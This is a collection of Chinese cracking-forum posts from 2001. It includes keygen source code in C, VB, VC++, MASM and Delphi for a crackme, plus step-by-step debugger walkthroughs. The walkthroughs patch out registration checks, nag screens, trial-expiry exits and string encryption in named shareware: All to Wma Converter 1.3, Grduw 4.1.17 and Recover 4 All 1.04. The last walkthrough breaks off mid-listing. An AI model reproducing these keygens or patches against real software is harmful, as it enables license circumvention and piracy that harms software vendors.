unsigned char a, b, l;
unsigned long ecx = 0, edi = 0;
int i;
unsigned long eax =
0x00000000;
unsigned long edx =
0x656d7568;

for(i = 0; i < 32; i ++) name[i] = 0;

printf("\nPlease input your name:");
gets(name);

name_length = strlen(name);
if(name_length >= 20)
{
ans = name_length;
ans = ans << 16;

t = 0;
for(i = 1; i < 32; i ++) t = t + name[i] * i;
t = t ^ 0xffffffff;
t = t & 0x0000ffff;
ans = ans + t;

}
else
{
l = name_length;
for(i = strlen(name) - 1; i < 32; i ++)
{
a = name[i];
b = a;
a = a / l;
b = b * l;
a = a + b;
name[l]= (char)a;
l ++;
}

a = 0;
for(i = 0; i < name_length; i ++) a = a + name[i];
ans = ans + a;
ans = ror(ans, 8);
ans = ans + 0x200000;

t = 0;
for(i = 1; i < 32; i ++) t = t + name[i] * i;
t = t ^ 0xffffffff;
t = t & 0x0000ffff;
ans = ans + t;
}

eax = ans + 0x20434347;
edx = edx + 0x26424347;

i = 15;
for(edi = 1; edi <= 8; edi ++)
{
ecx = edx;
eax = eax ^ edx;
ecx = ecx & 0x0000001f;
eax = rol(eax, ecx);
eax = eax + ESI[i];
i --;

ecx = eax;
edx = edx ^ eax;
ecx = ecx & 0x0000001f;
edx = rol(edx, ecx);
edx = edx + ESI[i];
i --;
}

printf("\n下面是您的序列号:");
printf("\n_CCG-%08lx-%08lx\n", eax, edx);
printf("里面的字母应该为大写，请自己修正。");

}

请大家指正，谢谢！

shengzan@263.net


注册机写作教学

 标 题:注册机写作教学。奉贤给想加入CCG和BCG的朋友。 (11千字)
发信人:LL[CCG]
时 间:2001-10-21 23:18:55
详细信息:
前些天在论坛看到有人问软件的算法是如何看懂的 ？？注册机是如何写出来的？？有感于目前看雪教学中没有这方面的内容(对于不是明码比较的注册机工具就都没有办法了）。于是这篇文章出炉了.由于我对编程方面的技术实在是那个。所以拉来了halfbit(云观）老哥。让他帮忙写ASM，VC的注册机。我自己来写VB的。
本文的目的是通过一个简单的CRACKME的破解来说一下算法的分析和注册机的写作（针对于NAME/SERIAL保护的）。奉献给想加入BCG和CCG的破解爱好者。我尽量写的详细点。如有不明之处请发信到llmen@sina.com
工具：调试器一个（我用的是TRW2000）。编程工具一个。iceClock。

技术要求：熟悉基本的汇编指令。调试器的运用。编程基础(什么 ？？你说你不会。。。。那就去找一本书了。一般看完前4章就可以了。由于能力原因只给出了VB，VC，ASM的注册机原代码。）

目标：http://www.cracknow.com/crackme/figugegl.1.zip 2KB。伪装者那里的。加了自己写的壳，入口点是0040147B。
选目标可让我费了些工夫。一开始halfbit让我找个软件，可是我没找到简单点的。才想到CRACKME，又小又简单。可是手头只有CCG和BCG的考试CRACKME。不过为了生命安全着想我还是用别的吧。：）
废话说完了，现在我们开始。

启动TRW2000和CRACKME。输入姓名：liuliu,注册码：98765,用HMEMCPY做断点。点下CHECK。断下来，用PMODULE回到程序领空。跟踪的时候要注意寄存器EAX，EBX，ECX，EDX，ESI，EDI的变化。用D命令查看内容。
:0040132B E80C020000 call 0040153C
:00401330 89C6 mov esi, eax 我们在这里，
:00401332 83FE05 cmp esi, 00000005 比较姓名长度是不是小于5 。
这里看看ESI里的数值。是6。我的姓名输入是liuliu。长度是6。所以是比较长度。你问为什么知道是姓名长度 ？？经验啦。你不知道是比较什么可以改变一下NAME或SERIAL的长度看看。
:00401335 7D04 jge 0040133B 不小就跳
:00401337 31C0 xor eax, eax
:00401339 EB44 jmp 0040137F 小于就挂。
:0040133B 6A14 push 00000014
:0040133D 8D45D6 lea eax, dword ptr [ebp-2A]
:00401340 50 push eax
:00401341 6A66 push 00000066
:00401343 53 push ebx
:00401344 E8F3010000 call 0040153C 这个是取SERIAL的长度。
:00401349 09C0 or eax, eax 看看EAX是不是0，也就是是不是注册码没有输入。
:0040134B 7432 je 0040137F 是0就挂
:0040134D 31FF xor edi, edi EDI变0，用来做计数器。
:0040134F EB15 jmp 00401366 跳到算法开始。
:00401351 0FBE443DD6 movsx eax, byte ptr [ebp+edi-2A] 这是姓名第一个字符入EAX。看看EAX里的数值。是6C。l的ASCII码就是6C。所以我找到地方了。：）
:00401356 0FBE543DEB movsx edx, byte ptr [ebp+edi-15] 这里是注册码第一个字符入EDX。看看EDX的数值。是39。9的ASCII码就是39。
:0040135B 29FA sub edx, edi 用注册码第一个字符的ASCII码减去EDI(现在为零)。EDX=69。
:0040135D 39D0 cmp eax, edx 比较EAX和EDX是否相等。当然不等了EAX=6C，EDX=39。
:0040135F 7404 je 00401365 相等就继续。跳(这里用r fl z强行跳过。）
:00401361 31C0 xor eax, eax
:00401363 EB1A jmp 0040137F 不等就挂。

:00401365 47 inc edi 计数器EDI加1。

:00401366 39F7 cmp edi, esi 比较EDI是否等于ESI（姓名长度）,也就是注册码是否计算完毕。
:00401368 7CE7 jl 00401351 相等就结束。不等继续。到这里第一次循环结束。第一位注册码验证完毕。在0040135D这里是关键的比较。以后的几次循环算法是一样的，只是数值不同。算法弄的差不多了。后面总结一下。
:0040136A 6A00 push 00000000
:0040136C 6848204000 push 00402048
:00401371 6850204000 push 00402050
:00401376 53 push ebx
:00401377 E8E4010000 call 00401560 注册成功！
算法总结：程序的流程是这样子的
1，比较输入姓名的长度是不是小于5。
2，比较注册码是不是没有输入。
3，算法开始，第1位注册码要等于第1位姓名的ASCII码6C-0（EDI的值）。注册码第1位为l(ASCII码为6C）
第2位注册码要等于第2位姓名的ASCII码69-1。注册码第2位为h
第3位注册码要等于第3位姓名的ASCII码75-2。注册码第3位为s。依次类推。
NAME：liuliu SERIAL：lhsiep
到这里算法分析完毕。注册码也出来了。程序计算的流程也弄明白了。用你熟悉的编程语言来模仿一下程序作个注册机。
VB的注册机。
先介绍一下里面用到的一般书上没有的函数。我用的是VB6。0企业版。
LEN() 返回字符串的长度。
ASC（）返回字符的ASCII码，VB返回的是10进制的。
MID（）返回参数指定的字符。用法：MID（目标字符串，开始的位数，取字符的个数）
STRING（）把数字转换为字符。如：A=STRING（76）此时A=“L”。
启动VB6，新建一个工程。在FORM上加两个LABLE控件。然后加两个TEXTBOX控件。一个COMMANDBUTTON控件。
TEXT1。TEXT用来获取NAME，TEXT2。TEXT用来输出SERIAL。
在COMMAND1控件的CLICK事件里如下代码：
Private Sub Command1_Click()
Dim a, b, c, d, e '变量声明。VB不用特别声明变量的类型。多简单。：）
text2.text="姓名不要小于5位"
a = Text1.Text 'a=输入的姓名
b = Len(a) 'b=姓名的长度
c = 1 '设一个计数器，类似于程序中的EDI。
If b < 5 Then GoTo a: '判断姓名长度。小于5就什么也不做。
Do ’循环语句，用来计算注册码。
d = Mid(a, c, 1)
d = Asc(d)
d = d + 1 - c
d = String(1, d)
e = e & d
c = c + 1
Loop While c <= b
Text2.Text = e '输出注册码。
a:
End Sub
然后用P-CODE编译。才12KB。
VC的注册机
先用APPWIZARD做一个默认的DIALOG BASED。然后删掉上面的东西。加入两个EDITBOX，一个BUTTON。
EDITBOX1用来获得NAME，EDITBOX2用来输出SERIAL。
用CLASSWIZARD加入EDITBOX1的MEMBER m_name.EDITBOX2的MEMBER m_key.
用CLASSWIZARD在BUTTON1的BN_CLICKED事件加个函数OnButton1()
加入如下代码：
void CLLDlg::OnButton1()
{
// TODO: Add your control notification handler code here
UpdateData(TRUE);
m_key = "";
char * pName= m_name.GetBuffer(0);

if(m_name.GetLength() < 5)MessageBox("name必须大于5个字母", "error", MB_OK);
else{
for(int n=0;n<=m_name.GetLength();n++)
{
m_key += *(pName+n)-n;
}
UpdateData(FALSE);
};
m_name.ReleaseBuffer();

}
用RELEASE编译。
下面是汇编的。我实在是没能力加上步骤。。。请参考iczelion的win32asm教程。
; ml /c /coff /Cp LL.asm
; link /SUBSYSTEM:WINDOWS /LIBPATH:d:\masm32\lib LL
.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include d:\masm32\include\windows.inc
include d:\masm32\include\user32.inc
include d:\masm32\include\kernel32.inc
includelib d:\masm32\lib\user32.lib
includelib d:\masm32\lib\kernel32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "LL asm",0
MenuName db "FirstMenu",0
ButtonClassName db "button",0
ButtonText db "get key",0
EditClassName db "edit",0
TestString db "Wow! I'm in an edit box now",0
name5 db "name必须大于5个字母",0 ;LL add
msgError db "error",0 ;LL add

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwndButton HWND ?
hwndEdit HWND ?
keyBuffer db 100 dup(?) ;LL add
buffer db 512 dup(?) ; buffer to store the text retrieved from the edit box

.const
ButtonID equ 1 ; The control ID of the button control
EditID equ 2 ; The control ID of the edit control
IDM_HELLO equ 1
IDM_CLEAR equ 2
IDM_GETTEXT equ 3
IDM_EXIT equ 4

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName, \
ADDR AppName, WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT, CW_USEDEFAULT,\
300,200,NULL,NULL, hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_CREATE
invoke CreateWindowEx,WS_EX_CLIENTEDGE, ADDR EditClassName,NULL,\
WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT or\
ES_AUTOHSCROLL,\
50,35,200,25,hWnd,8,hInstance,NULL
mov hwndEdit,eax
invoke SetFocus, hwndEdit
invoke CreateWindowEx,NULL, ADDR ButtonClassName,ADDR ButtonText,\
WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\
75,70,140,25,hWnd,ButtonID,hInstance,NULL
mov hwndButton,eax
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_HELLO
invoke SetWindowText,hwndEdit,ADDR TestString
.ELSEIF ax==IDM_CLEAR
invoke SetWindowText,hwndEdit,NULL
;*******************************************************************************
.ELSEIF ax==IDM_GETTEXT
invoke GetWindowText,hwndEdit,ADDR buffer,512 ;获得name串
mov ebx,0
.WHILE byte ptr [buffer+ebx]!=0
mov al,[buffer+ebx]
sub al,bl
mov [keyBuffer+ebx],al ;变换后放入key串
inc ebx;
.ENDW
.IF ebx<5
invoke MessageBox,NULL,offset name5, offset msgError,MB_OK
.ELSE
invoke MessageBox,NULL,offset keyBuffer,ADDR AppName,MB_OK ;显示key串
.ENDIF
;**********************************************************************************
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
.IF ax==ButtonID
shr eax,16
.IF ax==BN_CLICKED
invoke SendMessage,hWnd,WM_COMMAND,IDM_GETTEXT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start
到这里这篇文章就差不多了。有些遗憾的是没有DELPHI的原代码。因为没见到懂DELPHI的人。小楼，AJJ看到这个后能不能把DELPHI的注册机也加上呀。我知道的懂DELPHI的只有你们两个。：）
LL[CCG] & halfbit[CCG]

标 题:TC的注册机~~~ (596字)
发信人:伪装者[CCG]
时 间:2001-10-22 0:00:39
详细信息:

 #include "stdio.h"
main()
{
unsigned char a[80];
int d,i;
unsigned long s;
start:printf("*********-={ figugegl }=- Crackme #1*********\nThis keygen is
  made by Pretender\nPlease input your name  : ");
gets(a);
d=strlen(a);
if(d<5) {printf("Your user name must longer than 4 letters!!please re-input\n");goto
  start;}
printf("Your Register code is  : ");
for(i=0;i<d;i++)
printf("%c",a[i]-i);

printf("\n *****************************      ---
  ---    ---\n *Welcome to WWW.CRACKNOW.COM*      /
      /      / --\n *****************************
      ---    ---    --/\n");
}

标 题:我抛砖引玉来个DELPHI的。 (577字)
发信人:ljh3146[BCG]
时 间:2001-10-28 11:20:07
详细信息:

procedure TForm1.BitBtn1Click(Sender: TObject);
var
a,c,e:string; //定义A，C，E为字符型，
b,d:integer; //定义B，D为数值型。

begin
a:=edit1.Text; //让A的值等于EDIT1的值。
if length(a)<5 then //LENGTH（）相当于VB中的LEN（），如果注册名小于则报错。
showmessage('注册名不能小于五位!')
else
begin
for b:=1 to length(a) do ’循环语句，用来计算注册码。
begin
d:=ord(a[b]);
d:=d+1-b;
c:=chr(d);
e:=e+c;
end;
end;
edit2.Text:=e;
end;

只是将LL大侠的VB版改为DELPHI的了，：）
我试了还行。


All to Wma Coverter 1.3

 标 题:破解All to Wma Coverter 1.3 (2千字)
发信人:未注册
时 间:2001-10-22 12:15:06
详细信息:
破解All to Wma Coverter 1.3
作者：Unregistered/2001

媒体工具|音频工具 本站首页

软件名称：All To WMA Converter
整理日期：2001.10.22
最新版本：1.3
文件大小：2559KB
软件授权：共享软件
使用平台：Win9x/Me/NT/2000
发布公司：Home Page
软件简介：
    All To WMA Converter可将MP3、OGG、WAV格式转换成WMA格式，使用上相当简单快速、只需点选MP3音乐、利用鼠标右键快显功能即可。

本地下载：
gt.onlinedown.net

前言：
在版主的论坛精华看过大侠们的文章，眼界大开:-)于是自己找一个软件来练手。运气还好，写的不好，各位多扔砖头#%@#$$#

文章:
工具：si+id+peditor+imprec

原程序被加了壳，脱壳后保护解除，只有关于的对话框没搞定。

1、脱壳。
它所采用的保护是Asprotect 1.2?。首先找到入口点，走许多弯路到E533C2 Jmp eax，此时eax=419478。不用怀疑这个就是原始的入口点。ImageSize=A5000，所以在419478处：/dump 400000 A5000 dumped.exe，脱壳第一步完成。^-^

用peditor的dumpfixer、修改入口，完成文件修复，图标出现。

imprec修复importtable，只有一个未修复：[4600A0]=E3C944，那里的指令是：mov eax, [e43650]; ret; 那么：bpx e43650，重新运行，中断下来，是调用了Kernel32!GetCurrentProcessId。改正它，脱壳结束。

2、补丁。

问了如何设置窗口标题，竟无人知道，看来还得靠自己。bpx setwindowtexta。

:004148ED A1108F4800 mov eax, dword ptr [00488F10]
:004148F2 50 push eax
:004148F3 68F81E4800 push 00481EF8
:004148F8 8D8D2CFFFFFF lea ecx, dword ptr [ebp+FFFFFF2C]
:004148FE 51 push ecx

* Reference To: USER32.wsprintfA, Ord:029Fh
|
:004148FF FF1510074600 Call dword ptr [00460710]
:00414905 83C40C add esp, 0000000C
:00414908 8D952CFFFFFF lea edx, dword ptr [ebp+FFFFFF2C]
:0041490E 52 push edx
:0041490F 8B8D1CFFFFFF mov ecx, dword ptr [ebp+FFFFFF1C]

* Reference To: MFC42.GetTickCount, Ord:1837h
|
:00414915 E8224E0000 Call 0041973C ;setwindowtexta，设置窗口标题

改动这里，去掉窗口的未注册提示：

:00414908 8D952CFFFFFF lea edx, dword ptr [ebp+FFFFFF2C]

改为：lea edx, [ebp-b0]，窗口标题设置完毕。

‘关于’的对话框是烦人的，解决不了。


Grduw 4.1.17

 标 题:Grduw最新版破解过程(爆破keyfile,nag,时间限制,暗桩,字符加密)... (10千字)
发信人:TAE!
时 间:2001-10-16 12:52:41
详细信息:
软件名称:Grduw 4.1.17
下载地址:http://gwbn.onlinedown.net/down/grduw410.zip
保护方法:keyfile
破解方法:爆破(去除nag,日期限制,字符串加密)
破 解 人:TAE! 属于 ChinA CrackinG GrouP (中国破解组织)
软件介绍:强大的磁盘工具,我必备的软件!
使用工具：TRW ，W32dasm ，UltraEdit ，还有就是一双粗犷的大手咯，
（放心不是拆电脑，是敲键盘）外加一包香烟!

****************************************************************
唉,好久没有写教程了,希望大家还没有把我忘记啊. *
另:谁有免费上网帐号告诉我一声,小弟电话费透支了!先谢谢各位了:~) *
我的QQ:36550828 *
****************************************************************

运行软件，Shit！一个有计时的窗口冒了出来，要等待8 秒钟！唉，浪费时
间就是浪费金钱和我的生命哟~~~ ！所以……一定要干掉它！程序好像没有输入
注册码的地方嘛~ ，那么就是keyfile 咯？运行filemon ，别说你没有哦！然后
就是找。找。找。哦~~~ 终于被我找到了，原来是Grduw.key ，嘿嘿，看你往哪
儿躲！在软件目录下建立文件Grduw.key ，运行软件，然后进入TRW 设置断点在
createfilea 函数上！回到软件中，点击"About" 按钮，哈哈哈……被挡住了，
嘿嘿嘿，看我怎么虐待你！一次pmodule 之后，来到了这里：

* Reference To: KERNEL32.CreateFileA, Ord:0034h
|
:0042A7B1 FF1538724400 Call dword ptr [00447238]
:0042A7B7 8BF0 mov esi, eax
:0042A7B9 3BF7 cmp esi, edi
:0042A7BB 7514 jne 0042A7D1

再经过相当漫长的路程来到了下面这里:

:0040140D E8DE080000 call 00401CF0
:00401412 85C0 test eax, eax
:00401414 745F je 00401475 \\在这里r fl z,然后g
:00401416 8B0DD0304500 mov ecx, dword ptr [004530D0]
:0040141C B856555555 mov eax, 55555556
:00401421 F7E9 imul ecx
:00401423 8BCA mov ecx, edx
:00401425 C1E91F shr ecx, 1F
:00401428 03D1 add edx, ecx
:0040142A 8D4C240C lea ecx, dword ptr [esp+0C]
:0040142E 895664 mov dword ptr [esi+64], edx
:00401431 8B15F0304500 mov edx, dword ptr [004530F0]
:00401437 52 push edx
:00401438 E8D6640300 call 00437913
:0040143D 8D4660 lea eax, dword ptr [esi+60]
:00401440 8BCE mov ecx, esi
:00401442 50 push eax

哈哈,发现本来的计时按钮已经变成"ok"了,再进入call 00401CF0中看看:

|:0040140D , :0040859C , :0040C6EE , :0040E51C , :0040F5C4
|:0040F707 , :00410816 , :00412C3E , :0041457D , :00418DB0
|
:00401CF0 56 push esi
:00401CF1 8BF1 mov esi, ecx
:00401CF3 8A463C mov al, byte ptr [esi+3C]
:00401CF6 84C0 test al, al
:00401CF8 740E je 00401D08

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401D06(C)
|
:00401CFA 8BCE mov ecx, esi
:00401CFC E8BFA00100 call 0041BDC0
:00401D01 8A463C mov al, byte ptr [esi+3C]
:00401D04 84C0 test al, al
:00401D06 75F2 jne 00401CFA

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401CF8(C)
|
:00401D08 8B86B8050000 mov eax, dword ptr [esi+000005B8]
:00401D0E 5E pop esi
:00401D0F C3 ret

有很多地方调用这里喔，经过尝试，发现程序好像以eax 的值作为注册标志，
如果是0 就是注册版，否则就未注册，所以我们让返回的值都为0 ，把00401d08
这一行改为xor eax ，eax 吧，别忘了添上几个nop 喔！好了，所有的nag 都没
有了。

将日期调后一年，运行软件，正常，调回来，shiiiit ！！！软件退出了！
还有保护！既然软件退出了，好，就下断点Exitprocess 吧，运行软件，被中断，
于是我想回到软件的领空呀，但无论如何都不行，因为软件执行完exitprocess
后就退出内存了，所以trw 无法回到软件代码，呵呵，谁知道如何回到程序调用
此函数的代码处呢？冥思苦想，终于被我聪明的脑袋想到了，啊哈哈哈哈哈，天
才！我不是还有w32dasm 吗？呵呵，用它反汇编软件，然后点击" 输入函数" 按
钮，这时找到函数"KERNEL32.ExitProcess"双击它，这时来到下面的代码处：

:00401DD5 7508 jne 00401DDF
* Reference To: KERNEL32.ExitProcess, Ord:007Dh
|
:00401DD9 FF1560724400 Call dword ptr [00447260]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00401D43(C), :00401D51(C), :00401DD5(C)
|
:00401DDF 668BC7 mov ax, di
:00401DE2 5F pop edi
:00401DE3 5E pop esi
:00401DE4 83C44C add esp, 0000004C
:00401DE7 C20C00 ret 000C

我们将断点设置在00401DD5这里，然后运行程序，没有被中断。那么我们再
次双击函数ExitProcess.来到这里：

:0041AC56 7407 je 0041AC5F
:0041AC58 50 push eax

* Reference To: KERNEL32.ExitProcess, Ord:007Dh
|
:0041AC59 FF1560724400 Call dword ptr [00447260]

用上面方法设断后，运行程序还是没有被中断，说明不是这里调用ExitProcess
的。再次双击ExitProcess ，来到这里，设置断点在0041ADE6，运行程序，这回，
程序被中断了了：

:0041ADE2 6683FF1F cmp di, 001F //1F就是16进制的31
:0041ADE6 7708 ja 0041ADF0 //将这里改为nop
:0041ADE8 8B442414 mov eax, dword ptr [esp+14]
:0041ADEC 85C0 test eax, eax
:0041ADEE 7508 jne 0041ADF8 //将这里改为jmp,跳过函数

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041ADE6(C)
|
:0041ADF0 6A00 push 00000000

* Reference To: KERNEL32.ExitProcess, Ord:007Dh
|
:0041ADF2 FF1560724400 Call dword ptr [00447260]

（说说软件的判断过期的方法吧，第一次运行软件时，程序在Filter分支下
建立6B5gj 这个键值，内容是加密后的软件安装日期，当你将日期向后调一年后，
再次运行软件时，它就会读取这个值，并写入当前日期，那么下次运行软件后，
软件读取此值与当前日期比较，呵呵，自然就判断为过期了。）嘿嘿嘿，软件可
以无限制运行了，可是看看标题栏吧，字符变成" 非法版本" 了，呵呵，真是Shit！
为了美观，我们crack 掉它！常规的，我用UltraEdit 打开软件，查找unregistered
之类的字符，可是一个都没找到，唉，连这都要加密，真是比人率还麻烦啊！对
于这个加密字符串的破解有两种方法，我下面就一一介绍！喂~~对，就是你！认
真听呀，别忘了作笔记，Oky ？别总让我管着你呀，自觉点，一会儿就下课了，
是不是约了MM，你可以说嘛~~！不说我怎么知道？说了我才知道嘛~~~~！……
（众生：唐僧？？？打！！）
我考，现在的学生可真是不得了，是了不得！阿华田的孩子不得了！（怎么
又作广告？？）好了好了，先下课吧，下节课我继续做广告，喔，不，不，是继
续讲课！嘿嘿嘿~~~

===========================================================================

接着上一课说,这次我们来破解它的字符串加密!
记得上节课讲的东西吗?我们继续执行代码!

* Possible StringData Ref from Data Obj ->"煬熑怂钠浪熉铒 *这个就是加密后的字符串
|
:0041ADFE BF84474500 mov edi, 00454784
:0041AE03 83C9FF or ecx, FFFFFFFF
:0041AE06 33C0 xor eax, eax
:0041AE08 8D96D4060000 lea edx, dword ptr [esi+000006D4]
:0041AE0E F2 repnz
:0041AE0F AE scasb
:0041AE10 F7D1 not ecx
:0041AE12 2BF9 sub edi, ecx
:0041AE14 8BF7 mov esi, edi
:0041AE16 8BD9 mov ebx, ecx
:0041AE18 8BFA mov edi, edx
:0041AE1A 8BC7 mov eax, edi
:0041AE1C C1E902 shr ecx, 02
:0041AE1F F3 repz
:0041AE20 A5 movsd
:0041AE21 8BCB mov ecx, ebx
:0041AE23 83E103 and ecx, 00000003
:0041AE26 F3 repz
:0041AE27 A4 movsb
:0041AE28 8A08 mov cl, byte ptr [eax] //取出上面密文的一个字节
:0041AE2A 84C9 test cl, cl
:0041AE2C 740D je 0041AE3B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041AE39(C)
|
:0041AE2E 80E97F sub cl, 7F //减去"7F"
:0041AE31 8808 mov byte ptr [eax], cl //回存
:0041AE33 8A4801 mov cl, byte ptr [eax+01]//取出下一个字节
:0041AE36 40 inc eax //指向下一个,
:0041AE37 84C9 test cl, cl //是否结束了?
:0041AE39 75F3 jne 0041AE2E //没有?当然是继续咯!

嘿嘿，原来程序将密文逐个减去"7F"就解密出字符串了，这个字符串是" 非
法版本" （当然是英文的，可是俺不记得了）（众生：哇，老师也不会被单词呀？）

这里先介绍第一种破解方法:
如果要它显示"TAE！[CCG]"该怎么做呢？嘿嘿，将"TAE！[CCG]"这几个字符，
分别加上"7F"之后的ascii 码写入文件中对应的地方就可以了，那么这个" 对应
" 的地方在哪里？ "笨" 在文件中查找上面的密文就是了！w32dasm 中选中那一
行，crtl+c复制到一个文本文件中，然后将密文复制下来，再用ultraedit 打开
软件，ctrl+f，将密文复制到文本栏，最后点击查找！ok！找到后，就将上面计
算好的ascii 码写入就可以了，哈哈哈哈，运行程序，喔~~~ ！已经在软件标题
栏显示"TAE！[CCG] 了！

介绍的二种破解方法:
第一种方法比较烦，有没有更简单的方法呢？（愚蠢的问题）当然有！看看
这一段解密过程：

:0041AE2E 80E97F sub cl, 7F //减去"7F"
:0041AE31 8808 mov byte ptr [eax], cl //回存
:0041AE33 8A4801 mov cl, byte ptr [eax+01]//取出下一个字节
:0041AE36 40 inc eax //指向下一个,
:0041AE37 84C9 test cl, cl //是否结束了?
:0041AE39 75F3 jne 0041AE2E //没有?当然是继续咯!

将第一行的sub cl，7F变成控操作，nop 掉它，这样软件就直接将密文显示
于标题栏了，可我们不需要这么一大堆乱码呀，嘿嘿，这次就不需要象第一种方
法计算ascii 了，直接将密文替换成"TAE！[CCG]"就可以了，啊哈哈哈哈。
about 窗口中的"unregistered user" 同样可以用上面两种方法修改，再次
运行软件，喔~~~~gooood！是不是很象注册版？呵呵，好了，课就上到这里了，
再见！

___________________ ___ ______ ______ ______
/ / \_ ____/ / / / ____// ____// ____/
\_ _/ /\ \ __)_ / / / / / / / / __
| |/ __ / \ /__/ / /___ / /___ / /_/ /
|__/__/ \_______/ (_) \____/ \____/ \____/
2001年10月16日 13:45 完成


recover 4 all 1.04

 标 题:爆破recover 4 all 1.04 (4千字)
发信人:我不说
时 间:2001-10-8 12:54:22
详细信息:
破解者: 我不说

难度: 容易

程序: Recover 4 all v1.04

工具：TRW2000 v1.22, W32Dasm, eXeScope.

过程：

运行程序，出现NAG窗口。退出程序，运行eXeScope，查找NAG窗口，
是dialog: 163,退出eXeScope。用W32Dasm打开Rec4all.exe,查找DialogID_00A3,
为什么？因为dec(163)=hex(A3).见到：

* Referenced by a CALL at Address:
|:0040F583
|
:00411440 8B442404 mov eax, dword ptr [esp+04]
:00411444 56 push esi
:00411445 50 push eax
:00411446 8BF1 mov esi, ecx

* Possible Reference to Dialog: DialogID_00A3
|
:00411448 68A3000000 push 000000A3
:0041144D E8EB780100 call 00428D3D
:00411452 C706A03E4400 mov dword ptr [esi], 00443EA0
:00411458 8BC6 mov eax, esi
:0041145A 5E pop esi
:0041145B C20400 ret 0004

向上寻找0040F583，

* Referenced by a CALL at Address:
|:0040AE7E
|
:0040F560 6AFF push FFFFFFFF
:0040F562 68D8144400 push 004414D8
:0040F567 64A100000000 mov eax, dword ptr fs:[00000000]
:0040F56D 50 push eax
:0040F56E 64892500000000 mov dword ptr fs:[00000000], esp
:0040F575 83EC6C sub esp, 0000006C
:0040F578 E893F4FFFF call 0040EA10
:0040F57D 6A00 push 00000000
:0040F57F 8D4C2404 lea ecx, dword ptr [esp+04]
:0040F583 E8B81E0000 call 00411440
:0040F588 8D4C2400 lea ecx, dword ptr [esp]
:0040F58C C744247400000000 mov [esp+74], 00000000
:0040F594 E859980100 call 00428DF2
:0040F599 8D4C2400 lea ecx, dword ptr [esp]
:0040F59D C7442474FFFFFFFF mov [esp+74], FFFFFFFF
:0040F5A5 E889940100 call 00428A33
:0040F5AA 8B4C246C mov ecx, dword ptr [esp+6C]
:0040F5AE 64890D00000000 mov dword ptr fs:[00000000], ecx
:0040F5B5 83C478 add esp, 00000078
:0040F5B8 C3 ret

再向上找0040AE7E，

:0040AE6D 8BCD mov ecx, ebp
:0040AE6F E89C3B0000 call 0040EA10
:0040AE74 399DD0050000 cmp dword ptr [ebp+000005D0], ebx
:0040AE7A 7522 jne 0040AE9E
:0040AE7C 8BCD mov ecx, ebp
:0040AE7E E8DD460000 call 0040F560
:0040AE83 391DB84E4600 cmp dword ptr [00464EB8], ebx
:0040AE89 0F858A000000 jne 0040AF19
:0040AE8F C7853002000001000000 mov dword ptr [ebp+00000230], 00000001
:0040AE99 E90A010000 jmp 0040AFA8

运行trw2000设置断点在0040AE74处，编辑ebp+5D0处的内存数值为非０，F5后，程序显示
注册成功。

重新在ebp+5D0内存处设断后运行程序，拦截如下

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040ACE3(C)
|
:0040AD6D 8BCD mov ecx, ebp
:0040AD6F 895D58 mov dword ptr [ebp+58], ebx
:0040AD72 89B5E4430600 mov dword ptr [ebp+000643E4], esi
:0040AD78 899D30020000 mov dword ptr [ebp+00000230], ebx
:0040AD7E 899D38020000 mov dword ptr [ebp+00000238], ebx
:0040AD84 899D3C020000 mov dword ptr [ebp+0000023C], ebx
:0040AD8A 899DD0050000 mov dword ptr [ebp+000005D0], ebx　《－－

:0040AD90 C7455CFFFFFFFF mov [ebp+5C], FFFFFFFF
:0040AD97 899D88000000 mov dword ptr [ebp+00000088], ebx
:0040AD9D 899D84000000 mov dword ptr [ebp+00000084], ebx
:0040ADA3 899D80000000 mov dword ptr [ebp+00000080], ebx
:0040ADA9 895D7C mov dword ptr [ebp+7C], ebx
:0040ADAC 895D78 mov dword ptr [ebp+78], ebx
:0040ADAF 895D74 mov dword ptr [ebp+74], ebx
:0040ADB2 895D70 mov dword ptr [ebp+70], ebx
:0040ADB5 895D6C mov dword ptr [ebp+6C], ebx
